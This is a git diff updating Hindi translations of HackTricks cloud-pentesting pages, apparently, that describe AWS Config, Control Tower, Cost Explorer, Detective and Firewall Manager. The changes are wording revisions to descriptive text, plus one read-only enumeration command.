जानकारी प्रदर्शित करेगा जो AWS CLI द्वारा किए गए वर्णन या सूची API कॉल के दौरान उत्पन्न होगी। AWS Config समान जानकारी प्राप्त करने के लिए समान API कॉल का उपयोग करता है। -- **संबंधित घटनाएँ**: यह AWS CloudTrail से संबंधित है। यह **AWS CloudTrail घटना ID को प्रदर्शित करेगा जो इस CI के निर्माण को ट्रिगर करने वाले परिवर्तन से संबंधित है**। प्रत्येक संसाधन के खिलाफ किए गए हर परिवर्तन के लिए एक नया CI बनाया जाता है। परिणामस्वरूप, विभिन्न CloudTrail घटना IDs बनाई जाएंगी। +- **विशेषताएँ**: यह वास्तविक संसाधन के खिलाफ सामान्य **विशेषता जानकारी रखता है**। इस अनुभाग में, हमारे पास एक अद्वितीय संसाधन ID और किसी भी कुंजी मान टैग होते हैं जो संसाधन से जुड़े होते हैं। संसाधन प्रकार भी सूचीबद्ध है। उदाहरण के लिए, यदि यह एक EC2 उदाहरण के लिए CI था, तो सूचीबद्ध संसाधन प्रकार नेटवर्क इंटरफेस या उस EC2 उदाहरण के लिए इलास्टिक IP पता हो सकते हैं। +- **संबंध**: यह किसी भी जुड़े **संबंध के लिए जानकारी रखता है जो संसाधन हो सकता है**। इसलिए इस अनुभाग में, यह इस संसाधन के अन्य संसाधनों के साथ किसी भी संबंध का स्पष्ट विवरण दिखाएगा। उदाहरण के लिए, यदि CI एक EC2 उदाहरण के लिए था, तो संबंध अनुभाग VPC के साथ कनेक्शन और उस सबनेट को दिखा सकता है जिसमें EC2 उदाहरण स्थित है। +- **वर्तमान कॉन्फ़िगरेशन:** यह वही जानकारी प्रदर्शित करेगा जो AWS CLI द्वारा किए गए वर्णन या सूची API कॉल करने पर उत्पन्न होगी। AWS Config समान जानकारी प्राप्त करने के लिए समान API कॉल का उपयोग करता है। +- **संबंधित घटनाएँ**: यह AWS CloudTrail से संबंधित है। यह **AWS CloudTrail घटना ID को प्रदर्शित करेगा जो इस CI के निर्माण को ट्रिगर करने वाले परिवर्तन से संबंधित है**। प्रत्येक संसाधन के खिलाफ किए गए प्रत्येक परिवर्तन के लिए एक नया CI बनाया जाता है। परिणामस्वरूप, विभिन्न CloudTrail घटना IDs बनाई जाएंगी। -**कॉन्फ़िगरेशन इतिहास**: संसाधनों के कॉन्फ़िगरेशन इतिहास को कॉन्फ़िगरेशन आइटम के माध्यम से प्राप्त करना संभव है। एक कॉन्फ़िगरेशन इतिहास हर 6 घंटे में प्रदान किया जाता है और एक विशेष संसाधन प्रकार के लिए सभी CIs को शामिल करता है। +**कॉन्फ़िगरेशन इतिहास**: संसाधनों के कॉन्फ़िगरेशन इतिहास को कॉन्फ़िगरेशन आइटम के लिए प्राप्त करना संभव है। एक कॉन्फ़िगरेशन इतिहास हर 6 घंटे में वितरित किया जाता है और एक विशेष संसाधन प्रकार के लिए सभी CIs को शामिल करता है। -**कॉन्फ़िगरेशन स्ट्रीम**: कॉन्फ़िगरेशन आइटम डेटा के विश्लेषण को सक्षम करने के लिए एक SNS टॉपिक पर भेजे जाते हैं। +**कॉन्फ़िगरेशन स्ट्रीम**: डेटा के विश्लेषण को सक्षम करने के लिए कॉन्फ़िगरेशन आइटम को एक SNS टॉपिक पर भेजा जाता है। -**कॉन्फ़िगरेशन स्नैपशॉट**: कॉन्फ़िगरेशन आइटम सभी समर्थित संसाधनों का समय-विशिष्ट स्नैपशॉट बनाने के लिए उपयोग किए जाते हैं। +**कॉन्फ़िगरेशन स्नैपशॉट**: सभी समर्थित संसाधनों का समय-विशिष्ट स्नैपशॉट बनाने के लिए कॉन्फ़िगरेशन आइटम का उपयोग किया जाता है। **S3 का उपयोग किया जाता है** कॉन्फ़िगरेशन इतिहास फ़ाइलों और आपके डेटा के किसी भी कॉन्फ़िगरेशन स्नैपशॉट को एकल बकेट में स्टोर करने के लिए, जिसे कॉन्फ़िगरेशन रिकॉर्डर के भीतर परिभाषित किया गया है। यदि आपके पास कई AWS खाते हैं, तो आप अपने प्राथमिक खाते के लिए एक ही S3 बकेट में अपने कॉन्फ़िगरेशन इतिहास फ़ाइलों को एकत्रित करना चाह सकते हैं। हालाँकि, आपको इस सेवा के सिद्धांत, config.amazonaws.com, और आपके द्वितीयक खातों को आपके प्राथमिक खाते में S3 बकेट के लिए लिखने की अनुमति देने की आवश्यकता होगी। ### कार्यप्रणाली -- जब परिवर्तन किए जाते हैं, उदाहरण के लिए सुरक्षा समूह या बकेट एक्सेस नियंत्रण सूची में —> AWS Config द्वारा उठाए गए एक घटना के रूप में फायर करें -- सब कुछ S3 बकेट में स्टोर करता है +- जब परिवर्तन किए जाते हैं, उदाहरण के लिए सुरक्षा समूह या बकेट एक्सेस कंट्रोल सूची में —> AWS Config द्वारा उठाए गए एक घटना के रूप में फायर करें +- सब कुछ S3 बकेट में स्टोर करें - सेटअप के आधार पर, जैसे ही कुछ बदलता है, यह एक लैम्ब्डा फ़ंक्शन को ट्रिगर कर सकता है या AWS Config सेटिंग्स के माध्यम से समय-समय पर देखने के लिए लैम्ब्डा फ़ंक्शन को शेड्यूल कर सकता है - लैम्ब्डा Config को फीडबैक करता है - यदि नियम टूट गया है, तो Config एक SNS को सक्रिय करता है @@ -37,10 +37,10 @@ AWS Config **संसाधन परिवर्तनों को कैप Config नियम आपके संसाधनों के बीच **विशिष्ट अनुपालन जांच** **और नियंत्रण लागू करने में मदद करने का एक शानदार तरीका है**, और आपको प्रत्येक संसाधन प्रकार के लिए एक आदर्श तैनाती विनिर्देश अपनाने की अनुमति देता है। प्रत्येक नियम **आधारभूत रूप से एक लैम्ब्डा फ़ंक्शन है** जो जब बुलाया जाता है तो संसाधन का मूल्यांकन करता है और नियम के साथ अनुपालन परिणाम निर्धारित करने के लिए कुछ सरल लॉजिक करता है। **जब भी एक परिवर्तन किया जाता है** आपके समर्थित संसाधनों में से एक पर, **AWS Config किसी भी कॉन्फ़िगरेशन नियमों के खिलाफ अनुपालन की जांच करेगा जो आपके पास हैं**।\ AWS के पास सुरक्षा छाते के तहत कई **पूर्वनिर्धारित नियम** हैं जो उपयोग के लिए तैयार हैं। उदाहरण के लिए, Rds-storage-encrypted। यह जांचता है कि क्या आपके RDS डेटाबेस उदाहरणों द्वारा स्टोरेज एन्क्रिप्शन सक्रिय है। Encrypted-volumes। यह जांचता है कि क्या कोई EBS वॉल्यूम जो एक संलग्न स्थिति में है, एन्क्रिप्टेड है। -- **AWS प्रबंधित नियम**: पूर्वनिर्धारित नियमों का एक सेट जो कई सर्वोत्तम प्रथाओं को कवर करता है, इसलिए अपने स्वयं के सेटअप करने से पहले इन नियमों को ब्राउज़ करना हमेशा फायदेमंद होता है क्योंकि संभावना है कि नियम पहले से ही मौजूद हो। -- **कस्टम नियम**: आप विशिष्ट कस्टम कॉन्फ़िगरेशन की जांच के लिए अपने स्वयं के नियम बना सकते हैं। +- **AWS प्रबंधित नियम**: पूर्वनिर्धारित नियमों का एक सेट जो बहुत से सर्वोत्तम प्रथाओं को कवर करता है, इसलिए अपने स्वयं के सेटअप करने से पहले इन नियमों को ब्राउज़ करना हमेशा फायदेमंद होता है क्योंकि नियम पहले से ही मौजूद होने की संभावना होती है। +- **कस्टम नियम**: आप विशिष्ट कस्टम कॉन्फ़िगरेशन की जांच करने के लिए अपने स्वयं के नियम बना सकते हैं। -प्रत्येक क्षेत्र में 50 कॉन्फ़िगरेशन नियमों की सीमा है, इससे पहले कि आपको वृद्धि के लिए AWS से संपर्क करना पड़े।\ +आपको AWS से वृद्धि के लिए संपर्क करने से पहले प्रति क्षेत्र 50 कॉन्फ़िगरेशन नियमों की सीमा है।\ गैर-अनुपालन परिणामों को हटाया नहीं जाता है। {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 0cabb25fc..35525e8e1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -7,19 +7,19 @@ > [!NOTE] > संक्षेप में, Control Tower एक सेवा है जो आपके संगठन के भीतर सभी खातों के लिए नीतियों को परिभाषित करने की अनुमति देती है। इसलिए प्रत्येक को प्रबंधित करने के बजाय, आप Control Tower से नीतियाँ सेट कर सकते हैं जो उन पर लागू होंगी। -AWS Control Tower एक **सेवा है जो Amazon Web Services (AWS)** द्वारा प्रदान की जाती है जो संगठनों को AWS में एक सुरक्षित, अनुपालन, बहु-खाता वातावरण स्थापित करने और प्रबंधित करने में सक्षम बनाती है। +AWS Control Tower एक **सेवा है जो Amazon Web Services (AWS) द्वारा प्रदान की जाती है** जो संगठनों को AWS में एक सुरक्षित, अनुपालन, बहु-खाता वातावरण स्थापित करने और प्रबंधित करने में सक्षम बनाती है। -AWS Control Tower एक **पूर्व-परिभाषित सर्वोत्तम-प्रथा ब्लूप्रिंट का सेट** प्रदान करता है जिसे विशिष्ट **संगठनात्मक आवश्यकताओं** को पूरा करने के लिए अनुकूलित किया जा सकता है। इन ब्लूप्रिंट में पूर्व-कॉन्फ़िगर की गई AWS सेवाएँ और सुविधाएँ शामिल हैं, जैसे AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, और AWS Service Catalog। +AWS Control Tower एक **पूर्व-परिभाषित सर्वोत्तम-प्रथा ब्लूप्रिंट का सेट प्रदान करता है** जिसे विशिष्ट **संगठनात्मक आवश्यकताओं** को पूरा करने के लिए अनुकूलित किया जा सकता है। इन ब्लूप्रिंट में पूर्व-कॉन्फ़िगर की गई AWS सेवाएँ और सुविधाएँ शामिल हैं, जैसे AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, और AWS Service Catalog। -AWS Control Tower के साथ, प्रशासक जल्दी से एक **बहु-खाता वातावरण स्थापित कर सकते हैं जो संगठनात्मक आवश्यकताओं** को पूरा करता है, जैसे **सुरक्षा** और अनुपालन। यह सेवा खातों और संसाधनों को देखने और प्रबंधित करने के लिए एक केंद्रीय डैशबोर्ड प्रदान करती है, और यह खातों, सेवाओं, और नीतियों के प्रावधान को स्वचालित भी करती है। +AWS Control Tower के साथ, प्रशासक जल्दी से एक **बहु-खाता वातावरण स्थापित कर सकते हैं जो संगठनात्मक आवश्यकताओं को पूरा करता है**, जैसे **सुरक्षा** और अनुपालन। यह सेवा खातों और संसाधनों को देखने और प्रबंधित करने के लिए एक केंद्रीय डैशबोर्ड प्रदान करती है, और यह खातों, सेवाओं, और नीतियों के प्रावधान को स्वचालित भी करती है। इसके अतिरिक्त, AWS Control Tower गार्डरेल प्रदान करता है, जो पूर्व-कॉन्फ़िगर की गई नीतियों का एक सेट है जो सुनिश्चित करता है कि वातावरण संगठनात्मक आवश्यकताओं के साथ अनुपालन में बना रहे। इन नीतियों को विशिष्ट आवश्यकताओं को पूरा करने के लिए अनुकूलित किया जा सकता है। -कुल मिलाकर, AWS Control Tower AWS में एक सुरक्षित, अनुपालन, बहु-खाता वातावरण स्थापित करने और प्रबंधित करने की प्रक्रिया को सरल बनाता है, जिससे संगठनों के लिए अपने मुख्य व्यावसायिक लक्ष्यों पर ध्यान केंद्रित करना आसान हो जाता है। +कुल मिलाकर, AWS Control Tower AWS में एक सुरक्षित, अनुपालन, बहु-खाता वातावरण स्थापित करने और प्रबंधित करने की प्रक्रिया को सरल बनाता है, जिससे संगठनों के लिए अपने मुख्य व्यावसायिक उद्देश्यों पर ध्यान केंद्रित करना आसान हो जाता है। ### Enumeration -Controltower नियंत्रणों की गणना करने के लिए, आपको पहले **संस्थान की गणना करनी होगी**: +Control Tower नियंत्रणों की गणना करने के लिए, आपको पहले **संगठन की गणना करनी होगी**: {{#ref}} ../aws-organizations-enum.md @@ -29,7 +29,7 @@ Controltower नियंत्रणों की गणना करने क aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` > [!WARNING] -> Control Tower भी **Account factory** का उपयोग कर सकता है **CloudFormation templates** को **accounts में निष्पादित करने** और उन accounts में **सेवाएँ चलाने** (privesc, post-exploitation...) के लिए +> Control Tower **Account factory** का उपयोग करके **CloudFormation templates** को **accounts में निष्पादित** कर सकता है और उन accounts में **सेवाएँ चलाने** (privesc, post-exploitation...) के लिए। ### Post Exploitation & Persistence diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index b3d4faaa0..e8354ef31 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -5,11 +5,11 @@ ## Cost Explorer और Anomaly detection यह आपको **यह जांचने की अनुमति देता है कि आप AWS सेवाओं में पैसे कैसे खर्च कर रहे हैं** और आपको **anomalies का पता लगाने में मदद करता है**।\ -इसके अलावा, आप एक anomaly detection को कॉन्फ़िगर कर सकते हैं ताकि AWS आपको तब चेतावनी दे सके जब कुछ **costs में anomaly पाई जाती है**। +इसके अलावा, आप एक anomaly detection कॉन्फ़िगर कर सकते हैं ताकि AWS आपको चेतावनी दे सके जब कुछ **costs में anomaly पाई जाती है**। ### Budgets -Budgets **लागत और उपयोग को प्रबंधित करने में मदद करते हैं**। आप **जब एक सीमा तक पहुँचते हैं तो आपको सूचित किया जा सकता है**।\ -इसके अलावा, इन्हें सेवा के उपयोग जैसे गैर-लागत संबंधित निगरानी के लिए भी उपयोग किया जा सकता है (कितने GB एक विशेष S3 बकेट में उपयोग किए जाते हैं?)। +Budgets **लागत और उपयोग को प्रबंधित करने में मदद करते हैं**। आप **जब एक सीमा तक पहुँचते हैं तो आपको चेतावनी मिल सकती है**।\ +इसके अलावा, इन्हें सेवा के उपयोग जैसे गैर-लागत संबंधित निगरानी के लिए भी उपयोग किया जा सकता है (कितने GB एक विशेष S3 बकेट में उपयोग किए गए हैं?)। {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index c24ff6e82..55576b0ae 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -6,7 +6,7 @@ **Amazon Detective** सुरक्षा जांच प्रक्रिया को सरल बनाता है, जिससे **विश्लेषण, जांच, और सुरक्षा मुद्दों या असामान्य गतिविधियों के मूल कारण** को पहचानना अधिक कुशल हो जाता है। यह AWS संसाधनों से लॉग डेटा के संग्रह को स्वचालित करता है और **मशीन लर्निंग, सांख्यिकीय विश्लेषण, और ग्राफ सिद्धांत** का उपयोग करके एक आपस में जुड़े डेटा सेट का निर्माण करता है। यह सेटअप सुरक्षा जांचों की गति और प्रभावशीलता को बहुत बढ़ा देता है। -यह सेवा सुरक्षा घटनाओं की गहन खोज को आसान बनाती है, जिससे सुरक्षा टीमें मुद्दों के अंतर्निहित कारणों को तेजी से समझ और संबोधित कर सकती हैं। Amazon Detective VPC फ्लो लॉग, AWS क्लाउडट्रेल, और Amazon GuardDuty जैसे स्रोतों से विशाल मात्रा में डेटा का विश्लेषण करता है। यह स्वचालित रूप से **संसाधनों, उपयोगकर्ताओं, और उनके इंटरैक्शन का एक व्यापक, इंटरैक्टिव दृश्य** उत्पन्न करता है। यह एकीकृत दृष्टिकोण सभी आवश्यक विवरण और संदर्भ को एक स्थान पर प्रदान करता है, जिससे टीमें सुरक्षा निष्कर्षों के पीछे के कारणों को पहचानने, प्रासंगिक ऐतिहासिक गतिविधियों की जांच करने, और तेजी से मूल कारण निर्धारित करने में सक्षम होती हैं। +यह सेवा सुरक्षा घटनाओं की गहन खोज को आसान बनाती है, जिससे सुरक्षा टीमें मुद्दों के अंतर्निहित कारणों को तेजी से समझ और संबोधित कर सकती हैं। Amazon Detective VPC फ्लो लॉग, AWS CloudTrail, और Amazon GuardDuty जैसे स्रोतों से विशाल मात्रा में डेटा का विश्लेषण करता है। यह स्वचालित रूप से **संसाधनों, उपयोगकर्ताओं, और उनके इंटरैक्शन का एक व्यापक, इंटरैक्टिव दृश्य** उत्पन्न करता है। यह एकीकृत दृष्टिकोण सभी आवश्यक विवरण और संदर्भ को एक स्थान पर प्रदान करता है, जिससे टीमें सुरक्षा निष्कर्षों के पीछे के कारणों को पहचानने, प्रासंगिक ऐतिहासिक गतिविधियों की जांच करने, और तेजी से मूल कारण निर्धारित करने में सक्षम होती हैं। ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index a2bffc273..51d8f7593 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,77 +4,77 @@ ## Firewall Manager -**AWS Firewall Manager** **AWS WAF, AWS Shield Advanced, Amazon VPC सुरक्षा समूहों और नेटवर्क एक्सेस कंट्रोल सूचियों (ACLs), और AWS नेटवर्क फ़ायरवॉल, AWS Route 53 Resolver DNS फ़ायरवॉल और तीसरे पक्ष के फ़ायरवॉल** के प्रबंधन और रखरखाव को सरल बनाता है। यह आपको अपने फ़ायरवॉल नियमों, शील्ड एडवांस्ड सुरक्षा, VPC सुरक्षा समूहों और नेटवर्क फ़ायरवॉल सेटिंग्स को केवल एक बार कॉन्फ़िगर करने की अनुमति देता है, सेवा **स्वचालित रूप से इन नियमों और सुरक्षा को आपके खातों और संसाधनों पर लागू करती है**, जिसमें नए जोड़े गए भी शामिल हैं। +**AWS Firewall Manager** **AWS WAF, AWS Shield Advanced, Amazon VPC सुरक्षा समूहों और नेटवर्क एक्सेस कंट्रोल सूचियों (ACLs), और AWS नेटवर्क फ़ायरवॉल, AWS रूट 53 रिसॉल्वर DNS फ़ायरवॉल और तीसरे पक्ष के फ़ायरवॉल** के प्रबंधन और रखरखाव को सरल बनाता है। यह आपको अपने फ़ायरवॉल नियमों, शील्ड एडवांस्ड सुरक्षा, VPC सुरक्षा समूहों और नेटवर्क फ़ायरवॉल सेटिंग्स को केवल एक बार कॉन्फ़िगर करने की अनुमति देता है, सेवा **स्वचालित रूप से इन नियमों और सुरक्षा को आपके खातों और संसाधनों पर लागू करती है**, जिसमें नए जोड़े गए भी शामिल हैं। -सेवा **विशिष्ट संसाधनों को एक साथ समूहित और सुरक्षित करने** की क्षमता प्रदान करती है, जैसे कि वे सभी जो एक सामान्य टैग साझा करते हैं या आपके सभी CloudFront वितरण। फ़ायरवॉल प्रबंधक का एक महत्वपूर्ण लाभ यह है कि यह **नए जोड़े गए संसाधनों पर स्वचालित रूप से सुरक्षा बढ़ा सकता है**। +सेवा **विशिष्ट संसाधनों को एक साथ समूहित और सुरक्षित करने** की क्षमता प्रदान करती है, जैसे कि वे सभी सामान्य टैग साझा करते हैं या आपके सभी CloudFront वितरण। फ़ायरवॉल प्रबंधक का एक महत्वपूर्ण लाभ यह है कि यह **नए जोड़े गए संसाधनों पर स्वचालित रूप से सुरक्षा बढ़ा सकता है**। एक **नियम समूह** (WAF नियमों का संग्रह) को AWS फ़ायरवॉल प्रबंधक नीति में शामिल किया जा सकता है, जिसे फिर विशिष्ट AWS संसाधनों जैसे CloudFront वितरण या एप्लिकेशन लोड बैलेंसर से जोड़ा जाता है। -AWS फ़ायरवॉल प्रबंधक **प्रबंधित एप्लिकेशन और प्रोटोकॉल सूचियाँ** प्रदान करता है ताकि सुरक्षा समूह नीतियों की कॉन्फ़िगरेशन और प्रबंधन को सरल बनाया जा सके। ये सूचियाँ आपको उन प्रोटोकॉल और अनुप्रयोगों को परिभाषित करने की अनुमति देती हैं जिन्हें आपकी नीतियों द्वारा अनुमति या अस्वीकृत किया गया है। प्रबंधित सूचियों के दो प्रकार हैं: +AWS फ़ायरवॉल प्रबंधक **प्रबंधित एप्लिकेशन और प्रोटोकॉल सूचियाँ** प्रदान करता है ताकि सुरक्षा समूह नीतियों की कॉन्फ़िगरेशन और प्रबंधन को सरल बनाया जा सके। ये सूचियाँ आपको उन प्रोटोकॉल और एप्लिकेशनों को परिभाषित करने की अनुमति देती हैं जिन्हें आपकी नीतियों द्वारा अनुमति या अस्वीकृत किया गया है। प्रबंधित सूचियों के दो प्रकार हैं: -- **फ़ायरवॉल प्रबंधक प्रबंधित सूचियाँ**: इन सूचियों में **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** और **FMS-Default-Protocols-Allowed** शामिल हैं। इन्हें फ़ायरवॉल प्रबंधक द्वारा प्रबंधित किया जाता है और इनमें सामान्यतः उपयोग किए जाने वाले अनुप्रयोग और प्रोटोकॉल शामिल होते हैं जिन्हें सामान्य जनता के लिए अनुमति या अस्वीकृत किया जाना चाहिए। इन्हें संपादित या हटाना संभव नहीं है, हालाँकि, आप इसके संस्करण का चयन कर सकते हैं। +- **फ़ायरवॉल प्रबंधक प्रबंधित सूचियाँ**: इन सूचियों में **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** और **FMS-Default-Protocols-Allowed** शामिल हैं। इन्हें फ़ायरवॉल प्रबंधक द्वारा प्रबंधित किया जाता है और इनमें सामान्यतः उपयोग किए जाने वाले एप्लिकेशन और प्रोटोकॉल शामिल होते हैं जिन्हें आम जनता के लिए अनुमति या अस्वीकृत किया जाना चाहिए। इन्हें संपादित या हटाना संभव नहीं है, हालाँकि, आप इसके संस्करण का चयन कर सकते हैं। - **कस्टम प्रबंधित सूचियाँ**: आप इन सूचियों का प्रबंधन स्वयं करते हैं। आप अपनी संगठन की आवश्यकताओं के अनुसार कस्टम एप्लिकेशन और प्रोटोकॉल सूचियाँ बना सकते हैं। फ़ायरवॉल प्रबंधक प्रबंधित सूचियों के विपरीत, इन सूचियों के संस्करण नहीं होते हैं, लेकिन आपके पास कस्टम सूचियों पर पूर्ण नियंत्रण होता है, जिससे आप उन्हें आवश्यकतानुसार बना, संपादित और हटा सकते हैं। यह ध्यान रखना महत्वपूर्ण है कि **फ़ायरवॉल प्रबंधक नीतियाँ केवल "ब्लॉक" या "गिनती" क्रियाएँ** एक नियम समूह के लिए अनुमति देती हैं, "अनुमति" विकल्प के बिना। -### Prerequisites +### आवश्यकताएँ -फ़ायरवॉल प्रबंधक को कॉन्फ़िगर करने से पहले निम्नलिखित पूर्वापेक्षाएँ पूरी की जानी चाहिए ताकि आपकी संगठन के संसाधनों की प्रभावी सुरक्षा की जा सके। ये कदम फ़ायरवॉल प्रबंधक को सुरक्षा नीतियों को लागू करने और आपके AWS वातावरण में अनुपालन सुनिश्चित करने के लिए आवश्यक बुनियादी सेटअप प्रदान करते हैं: +फ़ायरवॉल प्रबंधक को कॉन्फ़िगर करने से पहले निम्नलिखित आवश्यक कदम पूरे किए जाने चाहिए ताकि आपकी संगठन के संसाधनों की प्रभावी सुरक्षा शुरू की जा सके। ये कदम फ़ायरवॉल प्रबंधक को सुरक्षा नीतियों को लागू करने और आपके AWS वातावरण में अनुपालन सुनिश्चित करने के लिए आवश्यक बुनियादी सेटअप प्रदान करते हैं: -1. **AWS संगठनों में शामिल हों और कॉन्फ़िगर करें:** सुनिश्चित करें कि आपका AWS खाता उस AWS संगठनों के संगठन का हिस्सा है जहाँ AWS फ़ायरवॉल प्रबंधक नीतियाँ लागू की जाने वाली हैं। यह संगठन के भीतर कई AWS खातों में संसाधनों और नीतियों के केंद्रीकृत प्रबंधन की अनुमति देता है। -2. **AWS फ़ायरवॉल प्रबंधक डिफ़ॉल्ट व्यवस्थापक खाता बनाएं:** फ़ायरवॉल प्रबंधक सुरक्षा नीतियों के प्रबंधन के लिए विशेष रूप से एक डिफ़ॉल्ट व्यवस्थापक खाता स्थापित करें। यह खाता संगठन के भीतर सुरक्षा नीतियों को कॉन्फ़िगर और लागू करने के लिए जिम्मेदार होगा। केवल संगठन का प्रबंधन खाता फ़ायरवॉल प्रबंधक डिफ़ॉल्ट व्यवस्थापक खातों को बना सकता है। -3. **AWS कॉन्फ़िगर सक्षम करें:** फ़ायरवॉल प्रबंधक को प्रभावी रूप से सुरक्षा नीतियों को लागू करने के लिए आवश्यक कॉन्फ़िगरेशन डेटा और अंतर्दृष्टि प्रदान करने के लिए AWS कॉन्फ़िगर को सक्रिय करें। AWS कॉन्फ़िगर संसाधन कॉन्फ़िगरेशन और परिवर्तनों का विश्लेषण, ऑडिट, निगरानी और ऑडिट करने में मदद करता है, जिससे बेहतर सुरक्षा प्रबंधन की सुविधा मिलती है। +1. **AWS संगठनों में शामिल हों और कॉन्फ़िगर करें:** सुनिश्चित करें कि आपका AWS खाता उस AWS संगठनों संगठन का हिस्सा है जहाँ AWS फ़ायरवॉल प्रबंधक नीतियाँ लागू की जाने वाली हैं। यह संगठन के भीतर कई AWS खातों में संसाधनों और नीतियों के केंद्रीकृत प्रबंधन की अनुमति देता है। +2. **AWS फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक खाता बनाएं:** फ़ायरवॉल प्रबंधक सुरक्षा नीतियों के प्रबंधन के लिए विशेष रूप से एक डिफ़ॉल्ट प्रशासक खाता स्थापित करें। यह खाता संगठन के भीतर सुरक्षा नीतियों को कॉन्फ़िगर और लागू करने के लिए जिम्मेदार होगा। केवल संगठन का प्रबंधन खाता फ़ायरवॉल प्रबंधक डिफ़ॉल्ट प्रशासक खातों को बना सकता है। +3. **AWS कॉन्फ़िग को सक्षम करें:** फ़ायरवॉल प्रबंधक को सुरक्षा नीतियों को प्रभावी ढंग से लागू करने के लिए आवश्यक कॉन्फ़िगरेशन डेटा और अंतर्दृष्टि प्रदान करने के लिए AWS कॉन्फ़िग को सक्रिय करें। AWS कॉन्फ़िग संसाधन कॉन्फ़िगरेशन और परिवर्तनों का विश्लेषण, ऑडिट, निगरानी और ऑडिट करने में मदद करता है, जिससे बेहतर सुरक्षा प्रबंधन की सुविधा मिलती है। 4. **तीसरे पक्ष की नीतियों के लिए, AWS मार्केटप्लेस में सदस्यता लें और तीसरे पक्ष की सेटिंग्स कॉन्फ़िगर करें:** यदि आप तीसरे पक्ष की फ़ायरवॉल नीतियों का उपयोग करने की योजना बना रहे हैं, तो AWS मार्केटप्लेस में उनकी सदस्यता लें और आवश्यक सेटिंग्स कॉन्फ़िगर करें। यह कदम सुनिश्चित करता है कि फ़ायरवॉल प्रबंधक विश्वसनीय तीसरे पक्ष के विक्रेताओं से नीतियों को एकीकृत और लागू कर सके। 5. **नेटवर्क फ़ायरवॉल और DNS फ़ायरवॉल नीतियों के लिए, संसाधन साझा करना सक्षम करें:** नेटवर्क फ़ायरवॉल और DNS फ़ायरवॉल नीतियों के लिए विशेष रूप से संसाधन साझा करना सक्षम करें। यह फ़ायरवॉल प्रबंधक को आपके संगठन के VPCs और DNS समाधान पर फ़ायरवॉल सुरक्षा लागू करने की अनुमति देता है, जिससे नेटवर्क सुरक्षा में सुधार होता है। -6. **डिफ़ॉल्ट रूप से अक्षम क्षेत्रों में AWS फ़ायरवॉल प्रबंधक का उपयोग करने के लिए:** यदि आप उन AWS क्षेत्रों में फ़ायरवॉल प्रबंधक का उपयोग करने का इरादा रखते हैं जो डिफ़ॉल्ट रूप से अक्षम हैं, तो सुनिश्चित करें कि आप उन क्षेत्रों में इसकी कार्यक्षमता सक्षम करने के लिए आवश्यक कदम उठाते हैं। यह सुनिश्चित करता है कि आपके संगठन के संचालन के सभी क्षेत्रों में सुरक्षा लागू करने में निरंतरता बनी रहे। +6. **डिफ़ॉल्ट रूप से अक्षम क्षेत्रों में AWS फ़ायरवॉल प्रबंधक का उपयोग करने के लिए:** यदि आप डिफ़ॉल्ट रूप से अक्षम क्षेत्रों में फ़ायरवॉल प्रबंधक का उपयोग करने का इरादा रखते हैं, तो सुनिश्चित करें कि आप उन क्षेत्रों में इसकी कार्यक्षमता सक्षम करने के लिए आवश्यक कदम उठाते हैं। यह सुनिश्चित करता है कि आपके संगठन के संचालन के सभी क्षेत्रों में सुरक्षा लागू करने में निरंतरता बनी रहे। -अधिक जानकारी के लिए, देखें: [AWS फ़ायरवॉल प्रबंधक AWS WAF नीतियों के साथ शुरू करना](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html)。 +अधिक जानकारी के लिए, देखें: [AWS फ़ायरवॉल प्रबंधक AWS WAF नीतियों के साथ शुरू करना](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). -### Types of protection policies +### सुरक्षा नीतियों के प्रकार -AWS फ़ायरवॉल प्रबंधक आपके संगठन के बुनियादी ढांचे के विभिन्न पहलुओं में सुरक्षा नियंत्रण लागू करने के लिए कई प्रकार की नीतियों का प्रबंधन करता है: +AWS फ़ायरवॉल प्रबंधक विभिन्न प्रकार की नीतियों का प्रबंधन करता है ताकि आपकी संगठन के बुनियादी ढांचे के विभिन्न पहलुओं में सुरक्षा नियंत्रण लागू किया जा सके: 1. **AWS WAF नीति:** यह नीति प्रकार AWS WAF और AWS WAF क्लासिक दोनों का समर्थन करता है। आप यह परिभाषित कर सकते हैं कि कौन से संसाधन नीति द्वारा सुरक्षित हैं। AWS WAF नीतियों के लिए, आप वेब ACL में पहले और अंतिम चलाने के लिए नियम समूहों के सेट निर्दिष्ट कर सकते हैं। इसके अतिरिक्त, खाता मालिक इन सेटों के बीच चलाने के लिए नियम और नियम समूह जोड़ 